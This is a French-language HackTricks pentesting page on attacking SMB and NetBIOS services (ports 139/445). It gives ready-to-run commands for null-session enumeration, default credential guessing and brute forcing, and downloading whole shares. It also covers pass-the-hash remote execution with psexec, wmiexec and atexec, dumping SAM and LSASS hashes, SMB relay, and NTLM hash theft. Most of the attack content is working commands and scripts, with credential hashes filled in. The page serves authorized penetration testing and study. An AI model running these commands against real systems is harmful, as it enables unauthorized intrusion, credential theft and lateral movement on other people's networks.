139,445 - Pentesting SMB

Reading time: 22 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Port 139

Le Network Basic Input Output System** (NetBIOS)** est un protocole logiciel conçu pour permettre aux applications, PC et postes de travail au sein d'un réseau local (LAN) d'interagir avec le matériel réseau et de faciliter la transmission des données sur le réseau. L'identification et la localisation des applications fonctionnant sur un réseau NetBIOS se font via leurs noms NetBIOS, qui peuvent comporter jusqu'à 16 caractères et sont souvent distincts du nom de l'ordinateur. Une session NetBIOS entre deux applications est initiée lorsqu'une application (agissant en tant que client) envoie une commande pour "appeler" une autre application (agissant en tant que serveur) en utilisant TCP Port 139.

139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn

Port 445

Techniquement, le port 139 est appelé ‘NBT over IP’, tandis que le port 445 est identifié comme ‘SMB over IP’. L'acronyme SMB signifie ‘Server Message Blocks’, également connu aujourd'hui sous le nom de Common Internet File System (CIFS). En tant que protocole réseau de la couche application, SMB/CIFS est principalement utilisé pour permettre l'accès partagé aux fichiers, aux imprimantes, aux ports série, et pour faciliter diverses formes de communication entre nœuds d'un réseau.

Par exemple, dans le contexte de Windows, on note que SMB peut fonctionner directement sur TCP/IP, supprimant la nécessité de NetBIOS over TCP/IP, via l'utilisation du port 445. À l'inverse, sur d'autres systèmes, l'utilisation du port 139 indique que SMB s'exécute en conjonction avec NetBIOS over TCP/IP.

445/tcp   open  microsoft-ds  Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)

SMB

Le Server Message Block (SMB), fonctionnant selon un modèle client-serveur, est conçu pour réguler l'accès aux fichiers, aux répertoires et à d'autres ressources réseau comme les imprimantes et les routeurs. Utilisé principalement au sein de la gamme de systèmes d'exploitation Windows, SMB assure la rétrocompatibilité, permettant aux appareils disposant de versions plus récentes du système d'exploitation de Microsoft d'interagir sans heurts avec ceux exécutant des versions plus anciennes. De plus, le projet Samba propose une solution logicielle libre, permettant la mise en œuvre de SMB sur les systèmes Linux et Unix, facilitant ainsi la communication multiplateforme via SMB.

Les partages, représentant des parties arbitraires du système de fichiers local, peuvent être fournis par un serveur SMB, rendant la hiérarchie visible pour un client partiellement indépendante de la structure réelle du serveur. Les Access Control Lists (ACLs), qui définissent les droits d'accès, permettent un contrôle granulaire des permissions des utilisateurs, incluant des attributs comme execute, read et full access. Ces permissions peuvent être attribuées à des utilisateurs individuels ou à des groupes, en fonction des partages, et sont distinctes des permissions locales définies sur le serveur.

IPC$ Share

L'accès au partage IPC$ peut être obtenu via une anonymous null session, permettant d'interagir avec des services exposés via des named pipes. L'utilitaire enum4linux est utile à cet effet. Utilisé correctement, il permet d'obtenir :

  • Informations sur le système d'exploitation
  • Détails sur le domaine parent
  • Une liste des utilisateurs et groupes locaux
  • Informations sur les partages SMB disponibles
  • La politique de sécurité effective du système

Cette fonctionnalité est essentielle pour les administrateurs réseau et les professionnels de la sécurité afin d'évaluer la posture de sécurité des services SMB (Server Message Block) sur un réseau. enum4linux fournit une vue complète de l'environnement SMB du système cible, ce qui est indispensable pour identifier les vulnérabilités potentielles et s'assurer que les services SMB sont correctement sécurisés.

bash
enum4linux -a target_ip

La commande ci‑dessus est un exemple de la façon dont enum4linux peut être utilisé pour effectuer une énumération complète contre une cible spécifiée par target_ip.

Qu'est-ce que NTLM

Si vous ne savez pas ce qu'est NTLM ou si vous voulez comprendre comment il fonctionne et comment l'abuser, vous trouverez très intéressante cette page sur NTLM qui explique comment ce protocole fonctionne et comment vous pouvez en tirer parti :

NTLM

Énumération des serveurs

Scan un réseau à la recherche d'hôtes :

bash
nbtscan -r 192.168.0.1/24

Version du serveur SMB

Pour rechercher d'éventuels exploits ciblant la version SMB, il est important de savoir quelle version est utilisée. Si cette information n'apparaît pas dans les autres outils utilisés, vous pouvez :

  • Utiliser le module auxiliaire MSF **auxiliary/scanner/smb/smb_version**
  • Ou ce script :
bash
#!/bin/sh
#Author: rewardone
#Description:
# Requires root or enough permissions to use tcpdump
# Will listen for the first 7 packets of a null login
# and grab the SMB Version
#Notes:
# Will sometimes not capture or will print multiple
# lines. May need to run a second time for success.
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" && sleep .1

Recherche d'exploit

bash
msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb

Possibles Identifiants

Nom(s) d'utilisateur(s)Mots de passe courants
(vide)(vide)
guest(vide)
Administrator, admin(vide), password, administrator, admin
arcservearcserve, backup
tivoli, tmersrvdtivoli, tmersrvd, admin
backupexec, backupbackupexec, backup, arcada
test, lab, demopassword, test, lab, demo

Brute Force

Informations sur l'environnement SMB

Obtenir des informations

bash
#Dump interesting information
enum4linux -a [-u "<username>" -p "<passwd>"] <IP>
enum4linux-ng -A [-u "<username>" -p "<passwd>"] <IP>
nmap --script "safe or smb-enum-*" -p 445 <IP>

#Connect to the rpc
rpcclient -U "" -N <IP> #No creds
rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb  --pw-nt-hash
rpcclient -U "username%passwd" <IP> #With creds
#You can use querydispinfo and enumdomusers to query user information

#Dump user information
/usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@]<targetName or address>

#Map possible RPC endpoints
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>

Énumérer les utilisateurs, les groupes et les utilisateurs connectés

Ces informations devraient déjà être collectées par enum4linux et enum4linux-ng

bash
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups --loggedon-users [-u <username> -p <password>]

ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(&(objectclass=user))" -h 10.10.10.10 | grep -i samaccountname: | cut -f 2 -d " "

rpcclient -U "" -N 10.10.10.10
enumdomusers
enumdomgroups

Énumérer les utilisateurs locaux

Impacket

bash
lookupsid.py -no-pass hostname.local

Oneliner

bash
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done

Metasploit - Enumerate local users

bash
use auxiliary/scanner/smb/smb_lookupsid
set rhosts hostname.local
run

Énumération LSARPC et SAMR rpcclient

rpcclient enumeration

Connexion GUI depuis Linux

Dans le terminal :

xdg-open smb://cascade.htb/

Dans la fenêtre du gestionnaire de fichiers (nautilus, thunar, etc)

smb://friendzone.htb/general/

Énumération des dossiers partagés

Lister les dossiers partagés

Il est toujours recommandé de vérifier si vous pouvez accéder à quelque chose ; si vous n'avez pas de credentials, essayez d'utiliser null credentials/guest user.

bash
smbclient --no-pass -L //<IP> # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash

smbmap -H <IP> [-P <PORT>] #Null user
smbmap -u "username" -p "password" -H <IP> [-P <PORT>] #Creds
smbmap -u "username" -p "<NT>:<LM>" -H <IP> [-P <PORT>] #Pass-the-Hash
smbmap -R -u "username" -p "password" -H <IP> [-P <PORT>] #Recursive list

crackmapexec smb <IP> -u '' -p '' --shares #Null user
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user

Se connecter / Lister un dossier partagé

bash
#Connect using smbclient
smbclient --no-pass //<IP>/<Folder>
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
#Use --no-pass -c 'recurse;ls'  to list recursively with smbclient

#List with smbmap, without folder it list everything
smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive list
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash

Énumérer manuellement les Windows shares et s'y connecter

Il est possible que vous soyez empêché d'afficher les shares de la machine hôte et que, lorsque vous essayez de les lister, il semble n'y en avoir aucun auquel se connecter. Il peut donc être utile d'essayer brièvement de se connecter manuellement à un share. Pour énumérer les shares manuellement, vous pouvez rechercher des réponses telles que NT_STATUS_ACCESS_DENIED et NT_STATUS_BAD_NETWORK_NAME, lorsque vous utilisez une session valide (par ex. null session ou valid credentials). Celles-ci peuvent indiquer si le share existe mais que vous n'y avez pas accès, ou si le share n'existe pas du tout.

Les noms de share courants pour les cibles Windows sont

  • C$
  • D$
  • ADMIN$
  • IPC$
  • PRINT$
  • FAX$
  • SYSVOL
  • NETLOGON

(Common share names from Network Security Assessment 3rd edition)

Vous pouvez essayer de vous connecter à ces shares en utilisant la commande suivante

bash
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)

ou ce script (utilisant une null session)

bash
#/bin/bash

ip='<TARGET-IP-HERE>'
shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON')

for share in ${shares[*]}; do
output=$(smbclient -U '%' -N \\\\$ip\\$share -c '')

if [[ -z $output ]]; then
echo "[+] creating a null session is possible for $share" # no output if command goes through, thus assuming that a session was created
else
echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME)
fi
done

exemples

bash
smbclient -U '%' -N \\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session

Énumérer les shares depuis Windows / sans outils tiers

PowerShell

bash
# Retrieves the SMB shares on the locale computer.
Get-SmbShare
Get-WmiObject -Class Win32_Share
# Retrieves the SMB shares on a remote computer.
get-smbshare -CimSession "<computer name or session object>"
# Retrieves the connections established from the local SMB client to the SMB servers.
Get-SmbConnection

Invite de commandes (CMD)

shell
# List shares on the local computer
net share
# List shares on a remote computer (including hidden ones)
net view \\<ip> /all

MMC Snap-in (graphique)

shell
# Shared Folders: Shared Folders > Shares
fsmgmt.msc
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
compmgmt.msc

explorer.exe (graphique) : entrez \\<ip>\ pour voir les partages non cachés disponibles.

Monter un dossier partagé

bash
mount -t cifs //x.x.x.x/share /mnt/share
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share

Télécharger des fichiers

Consultez les sections précédentes pour apprendre comment se connecter en utilisant credentials/Pass-the-Hash.

bash
#Search a file and download
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
bash
#Download all
smbclient //<IP>/<share>
> mask ""
> recurse
> prompt
> mget *
#Download everything to current directory

Commandes:

  • mask: spécifie le masque utilisé pour filtrer les fichiers dans le répertoire (p. ex. "" pour tous les fichiers)
  • recurse: active la récursivité (par défaut : off)
  • prompt: désactive l'invite pour les noms de fichiers (par défaut : on)
  • mget: copie tous les fichiers correspondant au masque depuis l'hôte vers la machine cliente

(Informations tirées de la page de manuel de smbclient)

Recherche des dossiers partagés du domaine

bash
Snaffler.exe -s -d domain.local -o snaffler.log -v data
  • CrackMapExec spider.
  • -M spider_plus [--share <share_name>]
  • --pattern txt
bash
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'

Particulièrement intéressants dans les partages sont les fichiers appelés Registry.xml car ils peuvent contenir des mots de passe pour des utilisateurs configurés avec autologon via Group Policy. Ou les fichiers web.config car ils contiennent des identifiants.

tip

Le SYSVOL share est lisible par tous les utilisateurs authentifiés du domaine. Vous pouvez y trouver de nombreux batch, VBScript et PowerShell scripts.
Vous devriez vérifier les scripts qui s'y trouvent car vous pourriez trouver des informations sensibles telles que des mots de passe.

Lire le registre

Il se peut que vous puissiez lire le registre en utilisant des identifiants découverts. Impacket reg.py vous permet d'essayer :

bash
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s

Post Exploitation

La configuration par défaut d'un serveur Samba se trouve généralement dans /etc/samba/smb.conf et peut contenir des configurations dangereuses :

ParamètreDescription
browseable = yesAutoriser l'énumération des partages disponibles dans le partage courant ?
read only = noInterdire la création et la modification de fichiers ?
writable = yesAutoriser les utilisateurs à créer et modifier des fichiers ?
guest ok = yesAutoriser la connexion au service sans mot de passe ?
enable privileges = yesRespecter les privilèges assignés à un SID spécifique ?
create mask = 0777Quelles permissions doivent être attribuées aux fichiers nouvellement créés ?
directory mask = 0777Quelles permissions doivent être attribuées aux répertoires nouvellement créés ?
logon script = script.shQuel script doit être exécuté à la connexion de l'utilisateur ?
magic script = script.shQuel script doit être exécuté lorsque le script se termine ?
magic output = script.outOù la sortie du magic script doit être stockée ?

La commande smbstatus fournit des informations sur le serveur et sur qui est connecté.

Authentification avec Kerberos

Vous pouvez vous authentifier auprès de Kerberos en utilisant les outils smbclient et rpcclient :

bash
smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com

Dans les environnements Kerberos-only (NTLM désactivé), les tentatives NTLM contre SMB peuvent renvoyer STATUS_NOT_SUPPORTED. Corrigez les problèmes Kerberos courants et forcez Kerberos auth :

bash
# sync clock to avoid KRB_AP_ERR_SKEW
sudo ntpdate <dc.fqdn>

# use Kerberos with tooling (reads your TGT from ccache)
netexec smb <dc.fqdn> -k

Pour une configuration complète du client (génération de krb5.conf, kinit, précautions SSH GSSAPI/SPN) voir:

88tcp/udp - Pentesting Kerberos

Exécuter des commandes

crackmapexec

crackmapexec peut exécuter des commandes abusing n'importe lequel des mmcexec, smbexec, atexec, wmiexec, wmiexec étant la méthode default. Vous pouvez indiquer quelle option vous préférez utiliser avec le paramètre --exec-method:

bash
apt-get install crackmapexec

crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Execute Powershell
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Excute cmd
crackmapexec smb 192.168.10.11 -u Administrator -H <NTHASH> -x whoami #Pass-the-Hash
# Using --exec-method {mmcexec,smbexec,atexec,wmiexec}

crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sam #Dump SAM
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --lsa #Dump LSASS in memmory hashes
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sessions #Get sessions (
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --loggedon-users #Get logged-on users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --disks #Enumerate the disks
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --users #Enumerate users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --groups # Enumerate groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --local-groups # Enumerate local groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --pass-pol #Get password policy
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --rid-brute #RID brute

crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash

psexec/smbexec

Les deux options vont créer un nouveau service (en utilisant \pipe\svcctl via SMB) sur la machine victime et l'utiliser pour exécuter quelque chose (psexec va upload un fichier exécutable sur le partage ADMIN$ et smbexec va pointer vers cmd.exe/powershell.exe et mettre dans les arguments le payload --file-less technique--).
Plus d'infos sur psexec et smbexec.
Sous kali il se trouve dans /usr/share/doc/python3-impacket/examples/

bash
#If no password is provided, it will be prompted
./psexec.py [[domain/]username[:password]@]<targetName or address>
./psexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash

En utilisant le paramètre -k vous pouvez vous authentifier avec kerberos au lieu de NTLM

wmiexec/dcomexec

Exécuter furtivement un shell de commandes sans toucher au disque ni lancer un nouveau service en utilisant DCOM via port 135.
Dans kali il se trouve dans /usr/share/doc/python3-impacket/examples/

bash
#If no password is provided, it will be prompted
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted

En utilisant le paramètre -k, vous pouvez vous authentifier via kerberos au lieu de NTLM.

bash
#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
./dcomexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted

AtExec

Exécuter des commandes via le Planificateur de tâches (en utilisant \pipe\atsvc via SMB).
Sur kali il est situé dans /usr/share/doc/python3-impacket/examples/

bash
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"

Référence Impacket

https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/

ksmbd attack surface et fuzzing du protocole SMB2/SMB3 (syzkaller)

Ksmbd Attack Surface And Fuzzing Syzkaller

Bruteforce users credentials

Ceci n'est pas recommandé, vous pourriez bloquer un compte si vous dépassez le nombre maximal de tentatives autorisées

bash
nmap --script smb-brute -p 445 <IP>
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name

SMB relay attack

Cette attaque utilise le Responder toolkit pour capturer des sessions d'authentification SMB sur un réseau interne, et les relayer vers une machine cible. Si la session d'authentification est réussie, elle vous donnera automatiquement un shell système.
Plus d'informations sur cette attaque ici.

SMB-Trap

La bibliothèque Windows URLMon.dll tente automatiquement de s'authentifier auprès de l'hôte lorsqu'une page essaie d'accéder à du contenu via SMB, par exemple: img src="\\10.10.10.10\path\image.jpg"

This happens with the functions:

  • URLDownloadToFile
  • URLDownloadToCache
  • URLOpenStream
  • URLOpenBlockingStream

Which are used by some browsers and tools (like Skype)

From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html

SMBTrap using MitMf

From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html

NTLM Theft

Similaire au SMB Trapping, le placement de fichiers malveillants sur un système cible (via SMB, par exemple) peut provoquer une tentative d'authentification SMB, permettant d'intercepter le hash NetNTLMv2 avec un outil tel que Responder. Le hash peut ensuite être cracké hors ligne ou utilisé dans une SMB relay attack.

Voir: ntlm_theft

HackTricks Automatic Commands

Protocol_Name: SMB    #Protocol Abbreviation if there is one.
Port_Number:  137,138,139     #Comma separated if there is more than one.
Protocol_Description: Server Message Block         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for SMB
Note: |
While Port 139 is known technically as ‘NBT over IP’, Port 445 is ‘SMB over IP’. SMB stands for ‘Server Message Blocks’. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network.

#These are the commands I run in order every time I see an open SMB port

With No Creds
nbtscan {IP}
smbmap -H {IP}
smbmap -H {IP} -u null -p null
smbmap -H {IP} -u guest
smbclient -N -L //{IP}
smbclient -N //{IP}/ --option="client min protocol"=LANMAN1
rpcclient {IP}
rpcclient -U "" {IP}
crackmapexec smb {IP}
crackmapexec smb {IP} --pass-pol -u "" -p ""
crackmapexec smb {IP} --pass-pol -u "guest" -p ""
GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all
GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat
GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/"
getArch.py -target {IP}

With Creds
smbmap -H {IP} -u {Username} -p {Password}
smbclient "\\\\{IP}\\" -U {Username} -W {Domain_Name} -l {IP}
smbclient "\\\\{IP}\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
crackmapexec smb {IP} -u {Username} -p {Password} --shares
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smb/index.html

Entry_2:
Name: Enum4Linux
Description: General SMB Scan
Command: enum4linux -a {IP}

Entry_3:
Name: Nmap SMB Scan 1
Description: SMB Vuln Scan With Nmap
Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}

Entry_4:
Name: Nmap Smb Scan 2
Description: SMB Vuln Scan With Nmap (Less Specific)
Command: nmap --script 'smb-vuln*' -Pn -p 139,445 {IP}

Entry_5:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb

Entry_6:
Name: SMB/SMB2 139/445 consolesless mfs enumeration
Description: SMB/SMB2 139/445  enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks